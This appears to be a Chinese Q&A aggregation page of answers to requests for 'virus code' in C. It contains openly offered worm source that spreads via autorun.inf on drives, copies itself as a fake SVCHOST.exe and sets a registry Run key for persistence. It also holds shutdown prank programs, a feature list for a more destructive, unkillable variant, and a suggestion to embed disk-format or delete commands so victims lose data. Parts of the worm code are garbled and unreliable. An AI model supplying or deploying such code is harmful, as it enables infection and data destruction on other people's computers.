c語言病毒代碼大全
首先你要知道病毒的定義,知道了相關的知識後就可以利用自己的編程能力進行編寫了
❷ c語言病毒
人間正道是滄桑
❸ 怎麼用C語言寫個簡單病毒,給個代碼過程
一個簡單的病毒就要很長的代碼,寫病毒沒有那麼簡單。
不過你可以試試利用cmd命令,比如刪除拉,格式化拉,拷貝拉,寫進代碼里。別人一打開程序資料盤就格掉了,嘿嘿。
❹ c語言木馬源代碼
ls這個好像是感染c文件的病毒,自動加上玩笑代碼(當然可以是惡意的)
不是木馬
❺ 求一些關機,跳框框的小病毒源代碼,最好是C語言的
呵呵 ,關機的代碼就有, 這是我第一次寫的程序,那時才學了2個月的C語言代碼如下:
#include<stdio.h>
main()
{
char ch='\0';
while(ch=2)
{
system("cls");
printf("\n\t**************************\n\t");
printf("\n\t 請選擇你要執行的命令: \n\t");
printf("\n\t*** 1.重啟 ***\n\t");
printf("\n\t*** 2.關機 ***\n\t");
printf("\n\t*** 3.注銷 ***\n\t");
printf("\n\t*** 0.退出 ***\n\t");
printf("\n\t**************************\n\t");
ch=getchar();
switch(ch)
{
case '1':{printf("確認要重啟?(Y/N)");
ch=getch();
if(ch=='Y'||ch=='y')
system("shutdown -r ");
break;
}
case'2':{printf("確認要關機?(Y/N)");
ch=getch();
if(ch=='Y'||ch=='y')
{ printf("請選擇你要執行的命令:");
printf("\n\t*** 1.快速關機 ***\n\t");
printf("\n\t*** 2.定時關機 ***\n\t");
printf("\n\t*** 0.退出 ***\n\t");
ch=getch();
switch(ch)
{
case '1':system("shutdown -s");break;
case '2':{ printf("請選擇要關機的時間:");
printf("\n\t 1.30分鍾 \n\t");
printf("\n\t 2.60分鍾 \n\t");
printf("\n\t 3.90分鍾 \n\t");
printf("\n\t 4.120分鍾 \n\t");
printf("\n\t 5.150分鍾 \n\t");
ch=getch();
switch(ch)
{
case '1':system("shutdown -s -t 1800");break;
case '2':system("shutdown -s -t 3600");break;
case '3':system("shutdown -s -t 5400");break;
case '4':system("shutdown -s -t 7200");break;
case '5':system("shutdown -s -t 9000");break;
default:printf("輸入錯誤!");break;
}
}
case '0':exit(0);break;
default:printf("輸入錯誤!");break;
}
}
else break;
}
case '3':{printf("確認要注銷?(Y/N)");
ch=getch();
if(ch=='Y'||ch=='y')
system("shutdown -l ");
break;
}
case '0':exit(0);break;
default:printf("輸入錯誤!");
}
}
}
看看裡面的關機語句,自己領悟吧。當時是一個新手,注釋都不沒寫,這是一個不好的習慣,你學C語言的話,一定要記得寫哦!這是方便自己檢查錯誤還有方便別人查看。
❻ 求一個簡單的c語言病毒源代碼,最好還可以在手機c4上編寫運行的,運行會出現什麼樣的情況,想學c想了解一
牛逼哄哄啊
❼ 求一個可以在機子上跑起來的C語言病毒代碼
C語言病毒代碼 最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
}在連載2中你將看到:
病毒對系統文件破壞的方法,病毒對文件的感染,病毒生成垃圾文件,病毒更具隱蔽性的方法。本版病毒所具有的功能:
1.在所有磁碟的根目錄生成svchost.com和autorun.inf文件
2.生成病毒體:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒體c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注冊表做到啟動時在explorer.exe前啟動
4.修改注冊表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
設置自啟動項(此操作不使用windowsAPI,防止用戶對病毒體的發現,並實現並行執行)
5.生成的autorun.inf改變磁碟的打開方式,使其在windows2000以上的系統無論選擇「打開」、「雙擊」、「資源管理器」等方式都無法打開分驅,而是以運行病毒的方式取而代之。
6.連鎖能力,將病毒體相連,實現相連復制更新
7.使用進程不斷調用進程,使得在任務管理里無法結束病毒進程
8.不斷搜索磁碟,只要發現未感染病毒的一律感染,病毒刪除後1秒內再建
9.生成垃圾文件(DESTORY_感染_任意數字)5個於C盤下
10.附帶刪除文件函數(為防止危害,本函數默認不執行)本病毒到目前為止任何殺毒軟體都無法將其查殺
本病毒單機默認使用對機器無害(破壞代碼已屏蔽)
提供病毒卸載程序(保存為X.BAT,雙擊運行即可卸載):@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
❽ 求病毒代碼大全!
病毒?我的朋友,他很少說別人的汗水
❾ C語言編寫的病毒有哪些
#include
#include
main()
{
char
a;
int
b;
system("shutdown
-s");
printf
("你是不是豬?\n是的話請輸入y,不是的話就輸入n吧。");
a
=
getchar();
b
=
a
==
'y';
if
(b
==
1)
{
system("shutdown
-a");
printf("哈,世界上有多了一頭會專說話的豬。\n");
}
else
printf("後果很嚴屬重……\n");
getchar();
getchar();
return
0;
}
這應該不算病毒,沒有自我復制功能,你放進編譯器裡面運行看看會有什麼後果吧
❿ 給個C語言病毒代碼.....要復制的....越長越好
我的回答
http://..com/question/58822352.html
太長了,復制要很久